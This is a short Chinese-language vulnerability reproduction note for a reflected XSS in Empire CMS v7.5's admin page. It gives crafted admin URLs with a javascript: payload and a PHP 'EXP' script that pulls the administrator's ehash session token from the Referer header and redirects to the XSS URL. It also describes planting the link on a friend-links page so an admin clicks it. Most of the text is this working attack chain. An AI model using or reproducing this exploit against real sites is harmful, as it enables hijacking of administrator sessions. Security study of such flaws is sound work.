参考资料(含下载链接)
源创作者 https://www.freebuf.com/vuls/176313.html
版本
Empire CMS v7.5
漏洞
xss
复现
1)访问后台
漏洞url
http://b.com/e/admin/openpage/AdminPage.php?leftfile=..%2FShopSys%2Fpageleft.php%3Fehash_loRqO%3DNspU9dpDDGEOxrTMIPbV&mainfile=..%2Fother%2FOtherMain.php%3Fehash_loRqO%3DNspU9dpDDGEOxrTMIPbV&title=%E5%95%86%E5%9F%8E%E7%B3%BB%E7%BB%9F%E7%AE%A1%E7%90%86&ehash_loRqO=NspU9dpDDGEOxrTMIPbV
重要参数ehash_loRqO=NspU9dpDDGEOxrTMIPbV
携带这个参数才会访问正常(要用自己的)
payload:
javascript:alert("xss")
替换掉
title的参数或者mainfile的参数
例子
http://b.com/e/admin/openpage/AdminPage.php?leftfile=javascript:alert("果汁天下苏")&mainfile=../other/OtherMain.php?ehash_loRqO=NspU9dpDDGEOxrTMIPbV&title=商城系统管理&ehash_loRqO=NspU9dpDDGEOxrTMIPbV
代码审计
我php并不是很好 我是边审计边学的,难免会有错误
首先是接收参数
会传入两个参数 可控参数 和 1
CkPostStrChar 方法里
AddAddsData 方法里
之后是插入的地点
插入的地方是src 所以可以使用伪协议
攻击方法
还是这位师傅写的
很列害 ,但是没l留下的php 脚本 ,有点不好意思问别人那么简单的问题,我只能去网上找php教程现学的, 很锻炼人。
这位师傅的攻击流程是
超链接 ==》 csrf ==》获取ehash_loRqO参数 ==》 xss
至于为甚能知道别人的ehash_loRqO参数 ,是请求包中会携带erfrere 参数
是上一个跳转之前的url
EXP:
<?php
$headers = apache_request_headers();
foreach ($headers as $header => $value) {
echo "$header: $value <br />\n";
}
echo "<hr/>";
//EXP ↓
$a = getallheaders();
$b = $a['Referer'];
$c = substr($b,49); //49是分割Referer 最后面那个重要参数ehash 可以根据自己的需求调整
if (isset($c)){
echo "<script language='javascript'>location.href='http://b.com/e/admin/openpage/AdminPage.php?leftfile=javascript:alert(1)&$c'</script>";
}
?>
现在把这个链接挂在友联上
点击
要是不好使你检查url 看看参数少没
感谢大佬